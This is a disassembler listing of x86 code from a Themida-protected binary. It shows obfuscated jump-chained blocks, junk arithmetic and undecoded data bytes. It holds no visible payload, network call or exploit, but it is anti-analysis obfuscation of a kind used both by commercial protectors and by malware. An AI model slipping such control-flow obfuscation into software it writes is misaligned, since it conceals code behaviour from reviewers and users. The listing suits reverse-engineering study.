		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4C176808h
		and	ecx, 0D8B2748h
		inc	ecx
		add	ecx, 0F3FCDFFBh
		sub	ebp, 31FD7721h
		add	ebp, ecx
		add	ebp, 31FD7721h
		pop	ecx
		add	ebp, 4
		jmp	loc_55BA18
; ---------------------------------------------------------------------------
		db 0C0h, 0EEh, 4
		dd 0E9DDC680h, 0FFFF9E72h, 33241431h, 0A2E92414h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56353B:				; CODE XREF: Themida_:0056E37Ej
		pop	ecx
		jmp	loc_55CB22
; ---------------------------------------------------------------------------


loc_563541:				; CODE XREF: Themida_:0056B5E3j
		push	edi
		mov	edi, 0AD11746h
		not	edi
		add	edi, 44CF03F4h
		jmp	loc_56C958
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFB576E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56355D:				; CODE XREF: Themida_:00567D13j
		add	ebx, ebp
		add	ebx, 0AB16CBFh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56BB4B
; ---------------------------------------------------------------------------
		dd 2427C681h, 2C8B7B68h, 4C48324h, 0C8268h, 24348900h
		dd 0AA56E9h, 2EDC100h, 0FC2FED81h, 0EA01B52Fh, 81242C8Bh
		dd 4C4h, 0FABB5300h, 81086958h,	62C729C3h, 3354E9C4h, 15E0000h
		dd 2434FFCBh, 0FFA92CE9h, 4C483FFh, 0FFC955E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5635CD:				; CODE XREF: Themida_:0056C962j
		push	dword ptr [esp+4]
		jmp	loc_56F1CC
; ---------------------------------------------------------------------------


loc_5635D6:				; CODE XREF: Themida_:00563890j
		mov	esp, [esp]
		jmp	loc_568A5B
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 89D88950h, 0CD8958C1h, 83240C8Bh,	315B04C4h
		dd 8B04246Ch, 0C481242Ch, 4, 8124148Bh,	4C4h, 58D86800h
		dd 1C890000h, 0F276E924h, 0EC83FFFFh, 243C8904h, 0BD57E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563622:				; CODE XREF: Themida_:0055C9BDj
		xchg	ebx, edi
		inc	ebx
		jmp	loc_5680EC
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 3FFCC381h, 6FEB8166h, 41E95609h, 810000ACh, 410257C3h
		dd 0C0EB8115h, 15F20B0h, 9DB6E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56364E:				; CODE XREF: Themida_:0055C1C9j
		push	eax
		mov	eax, 11E4245Eh
		and	eax, 7B7D6389h
		shl	eax, 1
		jmp	loc_570150
; ---------------------------------------------------------------------------


loc_563660:				; CODE XREF: Themida_:00567D51j
		push	67CEh
		jmp	loc_5665DE
; ---------------------------------------------------------------------------


loc_56366A:				; CODE XREF: Themida_:005692B9j
		xchg	ebp, [esp]
		pop	ebx
		push	eax
		jmp	loc_55EC76
; ---------------------------------------------------------------------------


loc_563674:				; CODE XREF: Themida_:0055BED3j
		mov	edx, 71090D74h
		push	ecx
		mov	ecx, 2E10701Bh
		add	edx, ecx
		pop	ecx
		sub	edx, ebx
		sub	edx, 2E10701Bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_563973
; ---------------------------------------------------------------------------


loc_563699:				; CODE XREF: Themida_:00560102j
		mov	ebp, [esp]
		jmp	loc_567392
; ---------------------------------------------------------------------------
		db 50h,	88h, 0D0h
		dd 0FFB345E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5636A9:				; CODE XREF: Themida_:0055B63Ej
		push	ebx
		jmp	loc_56C547
; ---------------------------------------------------------------------------
		db 81h
		dd 0BB5FEDE2h, 0B1E2814Ah, 0C1334A20h, 0C4E903EAh, 89000024h
		dd 0B8F2E9EEh, 0EBC1FFFFh, 71C38103h, 0E959D728h, 66CAh
		dd 5108E6C1h, 0FE9302B9h, 0CAFCE9E5h, 159FFFFh,	8EE95BDAh
		dd 52000066h, 0EBE9E289h, 6600001Fh, 666B0168h,	0E9240489h
		dd 0FFFF7E51h
; ---------------------------------------------------------------------------


loc_563704:				; CODE XREF: Themida_:00561C66j
		pop	ebx
		pop	eax
		add	esi, edi
		add	esi, 55BB2418h
		push	edi
		jmp	loc_56691B
; ---------------------------------------------------------------------------
		dd 0E99C5166h, 0FFFF7E39h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 0BBE95C24h, 28FFFFF0h, 35C380C3h, 663D6866h,	240C8966h
		dd 4EC81h, 14890000h, 66CCB624h, 0E9D0B353h, 4432h
; ---------------------------------------------------------------------------


loc_563754:				; CODE XREF: Themida_:005680EEj
		push	edx
		mov	edx, 381C1FB9h
		add	edi, edx
		pop	edx
		and	ecx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_568340
; ---------------------------------------------------------------------------


loc_56376A:				; CODE XREF: Themida_:0055B56Aj
		mov	[esp], eax
		mov	al, 0CDh
		xor	al, 4Fh
		jmp	loc_55BC03
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 0C481243Ch, 4, 0E951FB01h, 0FFFFC839h
; ---------------------------------------------------------------------------


loc_563788:				; CODE XREF: Themida_:0056E1D9j
		push	0B11h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	381Fh
		mov	[esp], eax
		push	ebp
		pop	eax
		pop	ebp
		push	ebx
		jmp	loc_561161
; ---------------------------------------------------------------------------
		dd 8724248Bh, 97E9240Ch, 31000055h, 48AAE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5637C6:				; CODE XREF: Themida_:005650C6j
		push	edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56A321
; ---------------------------------------------------------------------------


loc_5637D3:				; CODE XREF: Themida_:0056893Aj
		shr	eax, 12h
		jmp	loc_55CC81
; ---------------------------------------------------------------------------
		db 55h
		dd 40585D50h, 0F7DDF795h, 0A80AE9D5h, 0BA520000h, 34A0A4Eh
		dd 556FF281h, 0DAF778CDh, 1C281h, 45E90000h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563803:				; CODE XREF: Themida_:00564D97j
		push	dword ptr [esp]
		pop	edi
		push	6941h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56E1F0
; ---------------------------------------------------------------------------


loc_56381F:				; CODE XREF: Themida_:00567A23j
		mov	edx, 20030B4Ch
		push	ebx
		push	ebp
		mov	ebp, 2B9F08F1h
		shl	ebp, 3
		shl	ebp, 1
		jmp	loc_561A6C
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F5010000h, 4C5835Eh, 2474FF55h, 286AE904h, 55430000h
		dd 213FE9h, 0E9815900h,	3E260FE5h, 0AF0FE9h, 81E28900h
		dd 4C2h, 4EA8300h, 5C241487h, 0FFB4EFE9h, 7E0C0FFh, 8737E9h
		db 0
; ---------------------------------------------------------------------------


loc_563879:				; CODE XREF: Themida_:0056F351j
		mov	edx, ebx
		pop	ebx
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5635D6
; ---------------------------------------------------------------------------


loc_563895:				; CODE XREF: Themida_:00565A4Fj
		pop	ecx
		jmp	loc_566AD6
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF7CB5h, 7605D801h, 5B45F32Fh, 5C240487h,	9C240429h
		dd 0FF7CA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5638B5:				; CODE XREF: Themida_:0056F960j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56111F
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 3Dh
		dd 814CBC22h, 814A28F6h, 5EF02956h, 2666EB81h, 55E93297h
		dd 31000056h, 595351CDh, 87D3F75Bh, 7228E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5638EA:				; CODE XREF: Themida_:00569B99j
		push	2931h
		jmp	loc_56D7D6
; ---------------------------------------------------------------------------
		dd 4C481h, 0F1810000h, 0FF2BF4F0h, 0C8BCF01h, 4C48124h
		dd 52000000h, 6932C2BAh, 9BE2810Fh, 0C12A510Ah,	0F28108EAh
		dd 0CE974102h, 0BEA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_563925:				; CODE XREF: Themida_:0056AA1Ej
		pop	eax
		push	esi
		jmp	loc_55FD3E
; ---------------------------------------------------------------------------
aRsev		db '[R饂',0
		db 0
; ---------------------------------------------------------------------------


loc_563933:				; CODE XREF: Themida_:0055FE7Dj
		pop	ebx
		not	edx
		add	edx, 40D8691Ch
		mov	ebx, edx
		pop	edx
		jmp	loc_55D587
; ---------------------------------------------------------------------------
		dd 0F381EBD1h, 472867D4h, 0FF9F05E9h, 5AD089FFh, 4244431h
		dd 2EE95F58h, 8BFFFFF5h, 0C4812404h, 4,	3FFAE9h, 35E94A00h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563973:				; CODE XREF: Themida_:00563694j
		push	ebx
		mov	ebx, 7A8C1DCDh
		xor	ebx, 6C127A9Dh
		jmp	loc_566D5C
; ---------------------------------------------------------------------------


loc_563984:				; CODE XREF: Themida_:0055E64Bj
		push	ecx
		mov	ecx, 59677425h
		jmp	loc_56DF7B
; ---------------------------------------------------------------------------
		db 31h
		dd 0E5E9240Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563997:				; CODE XREF: Themida_:00561923j
		mov	esi, [esp]
		jmp	loc_567676
; ---------------------------------------------------------------------------
		db 59h
		dd 0BD555148h, 2DB00EC9h, 0F702EDC1h, 81454DDDh, 4DAC7FF5h
		dd 30D6E9BEh, 400D0000h, 407C0A12h, 0DA25D0F7h,	0C124AF22h
		dd 0E00504E8h, 17C5C40h, 0CBF1E9C5h, 0C3810000h, 4, 7EC9E9h
		dd 240C8B00h, 0E904C483h, 0FFFFB203h, 0B86EE95Ch, 6B05FFFFh
		dd 0E965A540h, 6AF4h, 0F68EED81h, 0EF01F420h, 7FBD555Dh
		dd 81289F3Eh, 39493AC5h, 7EC58133h, 31C9BB18h, 0E9575DEFh
		dd 0FFFFFD56h
; ---------------------------------------------------------------------------


loc_563A20:				; CODE XREF: Themida_:0055E0B6j
		push	esi
		mov	esi, 5B857521h
		add	esi, 1
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		neg	ecx
		jmp	loc_56EF47
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 0FFEC22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A41:				; CODE XREF: Themida_:0056412Dj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		add	eax, ebx
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		push	ebx
		mov	ebx, 0
		sub	ebx, 67CB063Ah
		add	ebx, ecx
		add	ebx, 67CB063Ah
		jmp	loc_56B5F5
; ---------------------------------------------------------------------------


loc_563A6F:				; CODE XREF: Themida_:0056C075j
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Bh
		push	4CF0h
		mov	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 49B42982h
		dec	ebp
		inc	ebp
		shl	ebp, 6
		sub	ebp, 6D0A607Ch
		sub	edi, 6FB34759h
		add	edi, ebp
		add	edi, 6FB34759h
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	224Ah
		mov	[esp], ebx
		push	44F369AFh
		pop	ebx
		push	eax
		mov	eax, 0C5B4D96h
		sub	eax, 3E09457Fh
		push	ebx
		mov	ebx, 69E3609h
		and	ebx, 47C142BCh
		jmp	loc_562ECC
; ---------------------------------------------------------------------------
		dw 1D68h
		dd 5A7B071Ah, 58C9C281h, 30E9E042h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AFF:				; CODE XREF: Themida_:0055E392j
		add	esp, 4
		jmp	loc_55F88C
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 0FF042474h
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 8B243C87h, 24892424h, 24048124h, 4, 8D64E9h,	24048F00h
		dd 0FFE98AE9h, 47E950FFh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B5B:				; CODE XREF: Themida_:00566E24j
		pop	ebp
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_56A80B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 34FF5451h, 0C9F1E924h, 8B66FFFFh,	89502404h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 0E6892434h
		dd 372E68h, 24048900h, 52B468h,	243C8900h, 0E904EC83h
		dd 59Eh, 68535954h, 4, 0FFD9015Bh, 0E95B2434h, 595Dh, 4B8h
		dd 0D6C28100h, 813B2C5Ch, 73216FC2h, 81C20127h,	73216FEAh
		dd 0D6EA8127h, 0E93B2C5Ch, 3D89h, 7A2AB951h, 0A5E922C7h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563BF7:				; CODE XREF: Themida_:005665E3j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		jmp	loc_56C1EB
; ---------------------------------------------------------------------------


loc_563C15:				; CODE XREF: Themida_:005618BCj
		add	edx, 4
		jmp	loc_56293B
; ---------------------------------------------------------------------------
		dd 0B6AEEF81h, 0FE31FD2Bh, 81243C8Bh, 4C4h, 5CE95200h
		dd 5CFFFF94h, 54240C89h, 0EABB5359h, 81310C7Bh,	4F3BACEBh
		dd 2683E965h, 0B2520000h, 0FA4BE9BCh, 28FFFFFh,	0FF78F8E9h
		dd 0E52D5AFFh, 0E903C154h, 0C74Fh, 1FBCE959h, 0E9C10000h
		dd 10E95608h, 5F000066h, 4510C281h, 681372h, 29000000h
		dd 34FF2414h, 24148B24h, 0E904C483h, 0B0BBh, 2660E959h
		dd 835D0000h, 60E902C3h, 0B000002Ah, 0F6F40C8Eh, 209034D8h
		dd 0C38058C3h, 2EBC07Eh, 0C03DCB80h, 26E908E3h,	8B000090h
		dd 0C4812404h, 4, 57D8E9h, 8DF38100h, 53008440h, 0C99BE9h
		dd 4C48100h, 0E9000000h, 0BA00h, 6858C231h, 6EEh, 0BF243C89h
		dd 4555473Ch, 0FFBAF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563CF9:				; CODE XREF: Themida_:0055D5F7j
		mov	edx, edi
		jmp	loc_55FC21
; ---------------------------------------------------------------------------
		dd 144EB81h, 0C3016CA2h, 0EBE5652h, 0BA3BCF52h,	0A8715352h
		dd 15EF229h, 0E9585AD3h, 7208h,	24048F5Eh, 0FF83E7E9h
		dd 0C8B66FFh, 71685524h, 8900002Dh, 4832424h, 0E95D0424h
		dd 5E8Eh, 8B241C87h, 0D6682424h, 0E900004Bh, 0FFFF7949h
		dd 1772EE81h, 0B7E93906h, 57FFFFB8h, 0C781E789h, 4, 4C781h
		dd 3C330000h, 243C3124h, 5C243C33h, 6B7168h, 24148900h
		dd 4EC81h, 2C890000h, 0BBDBE924h, 0C4810000h, 4, 17EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_563D95:				; CODE XREF: Themida_:00566A8Bj
		sub	edi, 16E022B0h
		jmp	loc_55EE65
; ---------------------------------------------------------------------------
		dd 2BC7815Fh, 574ED65Ah, 33241431h, 14312414h, 4EC8324h
		dd 0F7241489h, 148B2414h, 4C48324h, 5F241487h, 0FFC7E0E9h
		dd 6EEC0FFh, 0EEC0DEF6h, 0B4F68006h, 0FFD91EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DD9:				; CODE XREF: Themida_:0056B890j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_568602
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0C92C8B83h, 12CCBA52h, 0D0014B49h, 8124148Bh, 4C4h
		dd 0B212D00h, 15E95EF7h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E0F:				; CODE XREF: Themida_:0055D433j
		sub	edi, 0FFD6FE10h
		jmp	loc_56D0AF
; ---------------------------------------------------------------------------


loc_563E1A:				; CODE XREF: Themida_:0056AEA1j
		pop	edx
		push	ebx
		mov	ebx, 17892116h
		or	ebx, 6FCD4186h
		jmp	loc_56C4FB
; ---------------------------------------------------------------------------
		dd 2EF6E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E32:				; CODE XREF: Themida_:0056C805j
		sub	ecx, edi
		pop	edi
		mov	esi, ecx
		pop	ecx
		jmp	loc_569622
; ---------------------------------------------------------------------------


loc_563E3D:				; CODE XREF: Themida_:005707A5j
		not	ecx
		shl	ecx, 3
		jmp	loc_55E49D
; ---------------------------------------------------------------------------


loc_563E47:				; CODE XREF: Themida_:0055B837j
		xor	ebx, ecx
		xor	ecx, ebx
		add	ecx, 30DD4D36h
		jmp	loc_56F95E
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 5EBC106h, 2692EB81h,	0D889CAF9h, 3F050D5Bh, 0BD2D718Ah
		dd 16E70CBh, 0BD5558C3h, 435B2E39h, 8E5C145h, 4503E5C1h
		dd 51FDE9h, 89575C00h, 0F4B850E7h, 2D3F614Eh, 1F3A6D62h
		dd 32024925h, 2AB1E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E9E:				; CODE XREF: Themida_:005640CDj
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_563EB9:				; CODE XREF: Themida_:00565F5Bj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	bx, 5648h
		sub	bx, 3074h
		sub	bx, ax
		add	bx, 3074h
		add	bx, 5648h
		jmp	loc_560EB5
; ---------------------------------------------------------------------------


loc_563EDE:				; CODE XREF: Themida_:00569C65j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		push	5CD1h
		mov	[esp], ebx
		mov	ebx, 1D492874h
		jmp	loc_55CA7D
; ---------------------------------------------------------------------------
		dd 4C581h, 9DE90000h, 300000B6h, 0C0B60FC3h, 568734FFh
		dd 994487BEh, 24740156h, 48B5E04h, 4C48324h, 7A8B68h, 3D4AE900h
		dd 0E9520000h, 0FFFFBADEh
; ---------------------------------------------------------------------------


loc_563F34:				; CODE XREF: Themida_:0055FBDEj
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	ecx
		mov	ecx, 1CC12C49h
		push	eax
		mov	eax, 7A7E12E9h
		xor	eax, 42D21D09h
		add	ecx, eax
		pop	eax
		inc	ecx
		jmp	loc_55BFFC
; ---------------------------------------------------------------------------
aQuscp		db 'QUécp',0
		db 0
; ---------------------------------------------------------------------------


loc_563F71:				; CODE XREF: Themida_:00562343j
		pop	esp
		jmp	loc_561930
; ---------------------------------------------------------------------------
		db 0ACh
		dd 2EC81h, 89660000h, 0E953240Ch, 0FFFFCD9Fh, 4C481h, 0CCE90000h
		dd 8B000072h, 0E957240Ch, 3B40h, 0E904EC83h, 5042h, 33240C31h
		dd 248B240Ch, 5116824h,	3C890000h, 0AFB95124h, 8134C437h
		dd 0FF6A5DC9h, 0F2E9413Eh
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563FC7:				; CODE XREF: Themida_:00566EAEj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55EF15
; ---------------------------------------------------------------------------
		db 1
		dd 0C7815DEFh, 7E479B2h, 0B868CF01h, 8900003Ah,	8EBB241Ch
		dd 0E908A36Eh, 84Ch
; ---------------------------------------------------------------------------


loc_563FF4:				; CODE XREF: Themida_:0056ADC3j
		pop	esp
		sub	edx, 0FFFFFFFFh
		jmp	loc_565A08
; ---------------------------------------------------------------------------


loc_564000:				; CODE XREF: Themida_:00567B00j
		add	edi, esi
		pop	esi
		jmp	loc_565C3B
; ---------------------------------------------------------------------------
		dd 4C181h, 0C870000h, 83CCE924h, 0D589FFFFh, 76C5815Ah
		dd 816B2A42h, 22484F5h,	15C5810Ah, 8141F246h, 37CC04F5h
		dd 5DEB218Bh, 3F18F381h, 0EB8174C0h, 0FE8C9D7Dh, 24348153h
		dd 243B23A9h, 0E9240C8Bh, 26F8h, 52F8295Fh, 833920BAh
		dd 0E9D00167h, 0C44Ah, 148BD029h, 4C48324h, 0E789575Fh
		dd 4C781h, 0BE560000h, 4, 875EF729h, 248B243Ch,	242C8924h
		dd 5A9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_564089:				; CODE XREF: Themida_:00564D89j
		push	4009h
		mov	[esp], ecx
		jmp	loc_55B9F9
; ---------------------------------------------------------------------------
		dw 100Dh
		dd 543F502h, 280AFD11h,	0FFFC5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5640A5:				; CODE XREF: Themida_:0056F297j
		push	edx
		mov	edx, 0D019C26Fh
		sub	edi, edx
		pop	edx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_560DFC
; ---------------------------------------------------------------------------


loc_5640C5:				; CODE XREF: Themida_:0056E9E6j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_563E9E
; ---------------------------------------------------------------------------
		dw 0DA89h
		dd 4EC815Bh, 89000000h,	0FF5E2414h, 815A2434h, 4C4h, 67E66800h
		dd 34890000h, 24478F24h, 68D2315Eh, 7705h, 53243489h, 24A168h
		dd 243C8900h, 19F1B850h, 0C1400D4Ch, 0E0C106E0h, 5BE94007h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56411B:				; CODE XREF: Themida_:0056C731j
		sub	ebx, 7AA02C6Eh
		pop	ecx
		add	ebx, edi
		push	esi
		mov	esi, 11A03854h
		sub	ebx, esi
		pop	esi
		jmp	loc_563A41
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 4870000h, 58E95C24h, 5FFFFA9h,	458813FFh
		dd 5CABE95Ah, 4890000h,	4B824h,	81500000h, 19782404h, 815F2467h
		dd 671978EFh, 56685824h, 89000055h, 0E958243Ch,	0FFFFD976h
		dd 0E9241489h, 5F2Dh, 0E42DD0F7h, 0E947EC19h, 0C55Dh, 0BF54C281h
		dd 0D301EC50h, 5F52685Ah, 6E90000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56419F:				; CODE XREF: Themida_:00564402j
		xor	ebp, [esp]
		mov	esp, [esp]
		push	3B8Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 200000h
		mov	edi, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_565DCA
; ---------------------------------------------------------------------------
		dd 240C8B66h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 0E95C2414h
		dd 25DDh, 42474FFh, 0FFE438E9h,	56DBF7FFh, 137A91BEh, 5EF30906h
		dd 0FFCC87E9h, 4C581FFh, 87000000h, 0E95C242Ch,	2958h
; ---------------------------------------------------------------------------


loc_56420C:				; CODE XREF: Themida_:0056E42Ej
		or	ebp, 5E203CA0h
		not	ebp
		sub	ebp, 0FFFFFFFFh
		push	ebx
		mov	ebx, 4FCB05E1h
		or	ebp, ebx
		pop	ebx
		add	ebp, 9F3977B2h
		sub	esi, ebp
		jmp	loc_56B3CA
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0EBC08FB3h, 5EBC004h, 0E905F380h, 0FFFFD720h, 34FFC589h
		dd 89565824h, 4C681E6h,	83000000h, 8AE904C6h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564257:				; CODE XREF: Themida_:0055EE32j
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_56EF12
; ---------------------------------------------------------------------------
		dd 0AE42ED81h, 0E829FB4Bh, 58C5315Dh, 3319CD81h, 0BB530B38h
		dd 380A0209h, 0D485F381h, 0DD291974h, 81241C8Bh, 4C4h
		dd 97B2E900h, 0D1290000h, 6F54E9h
		db 0
; ---------------------------------------------------------------------------


loc_564295:				; CODE XREF: Themida_:00569661j
		push	dword ptr [esp]
		jmp	loc_56C072
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FF897DE9h, 2434FFFFh, 39E9565Ah, 0FF0000B8h, 815A2434h
		dd 4C4h, 7E546800h, 1C890000h, 7EE95424h, 81FFFF7Dh, 4C4h
		dd 0EAD9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5642D2:				; CODE XREF: Themida_:005691C3j
		pop	ecx
		jmp	loc_56E408
; ---------------------------------------------------------------------------
		dd 670C6852h, 1C890000h, 0B6E6B324h, 5BDE3070h,	0C046B551h
		dd 0C58005E5h, 0EF885357h, 0FD88D7F6h, 0DBED805Bh, 0E96DB652h
		dd 0FFFFEA1Eh
; ---------------------------------------------------------------------------


loc_564304:				; CODE XREF: Themida_:00565805j
		push	eax
		mov	eax, esp
		jmp	loc_568EE0
; ---------------------------------------------------------------------------
		dd 0E5ABB53h, 70E90203h, 57FFFF94h, 696DBE56h, 0F6810DFAh
		dd 21913967h, 0E95EF789h, 0FFFFED43h, 1022B8BBh, 0C1E3D121h
		dd 0E94B07EBh, 0FFFFF991h
; ---------------------------------------------------------------------------


loc_56433C:				; CODE XREF: Themida_:00561DA4j
		add	eax, 16E30860h
		push	eax
		pop	ecx
		pop	eax
		mov	ebx, 0ABE0CE8Bh
		add	ebx, ecx
		pop	ecx
		sub	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_56C78B
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFA2B8h
; ---------------------------------------------------------------------------


loc_56435C:				; CODE XREF: Themida_:0056C01Fj
		sub	eax, 0D3D09B0h
		sub	eax, 13543ACDh
		add	eax, 0C0480D11h
		jmp	loc_55C322
; ---------------------------------------------------------------------------


loc_564370:				; CODE XREF: Themida_:005613D6j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_55E758
; ---------------------------------------------------------------------------
		dd 685AD000h, 3A29h, 0B3241C89h, 7E3C005h, 487FE9h, 48B6600h
		dd 0A457E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643A2:				; CODE XREF: Themida_:00561039j
		mov	ecx, [esp]
		jmp	loc_56EA67
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 0FFC894E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5643B1:				; CODE XREF: Themida_:0057060Ej
		sub	esp, 4
		jmp	loc_56154C
; ---------------------------------------------------------------------------


loc_5643BC:				; CODE XREF: Themida_:00561529j
		push	ebp
		jmp	loc_5707B4
; ---------------------------------------------------------------------------
aSx		db '\éx',0Bh,0
		align 4
		dd 2B14C281h, 15F53A9h,	0C4B7E9F2h, 62BEFFFFh, 8103186Bh
		dd 0FFFFFFC6h, 3816E9FFh, 0D5280000h, 5A2C5Ah, 8DD5E9E8h
		dd 0FD89FFFFh, 57243C8Bh, 38E9E789h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643FF:				; CODE XREF: Themida_:00569262j
		xor	[esp], ebp
		jmp	loc_56419F
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2242112h, 2958C689h,	0C5815EF0h, 46926456h, 0E951C501h
		dd 8DD0h
; ---------------------------------------------------------------------------


loc_564420:				; CODE XREF: Themida_:0055CE72j
		and	eax, 79841566h
		jmp	loc_561638
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 24343304h, 0E9243431h, 0FFFF7B34h
; ---------------------------------------------------------------------------


loc_56443C:				; CODE XREF: Themida_:00569CE4j
		neg	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56ABDE
; ---------------------------------------------------------------------------
		dw 0FEE9h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564457:				; CODE XREF: Themida_:00561D7Cj
		mov	edx, [esp]
		add	esp, 4
		inc	bh
		add	bh, 8
		jmp	loc_55DDD3
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 7566BA52h, 0EC831719h, 240C8904h,	0C6114DB9h, 0B2C1810Ah
		dd 0E9F539EEh, 0A3B5h, 628268h,	242C8900h, 68BEE9h
		db 0
